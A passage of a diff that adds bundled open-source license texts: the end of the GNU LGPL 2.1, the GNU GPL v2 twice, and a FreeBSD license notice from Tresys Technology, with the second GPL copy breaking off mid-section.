+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+			    NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+           How to Apply These Terms to Your New Libraries
+
+  If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change.  You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+  To apply these terms, attach the following notices to the library.  It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the library's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the
+  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+  <signature of Ty Coon>, 1 April 1990
+  Ty Coon, President of Vice
+
+That's all there is to it!
+
+
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General
+Public License instead of this License.
+All files are licensed under the FreeBSD license, excepet for thid party
+components, which are subject to their respective licenses as specified in
+their source files.
+
+                          FreeBSD License
+
+Copyright 2011 Tresys Technology, LLC. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY TRESYS TECHNOLOGY, LLC ``AS IS'' AND ANY EXPRESS
+OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
+EVENT SHALL TRESYS TECHNOLOGY, LLC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
+OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those
+of the authors and should not be interpreted as representing official policies,
+either expressed or implied, of Tresys Technology, LLC.
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
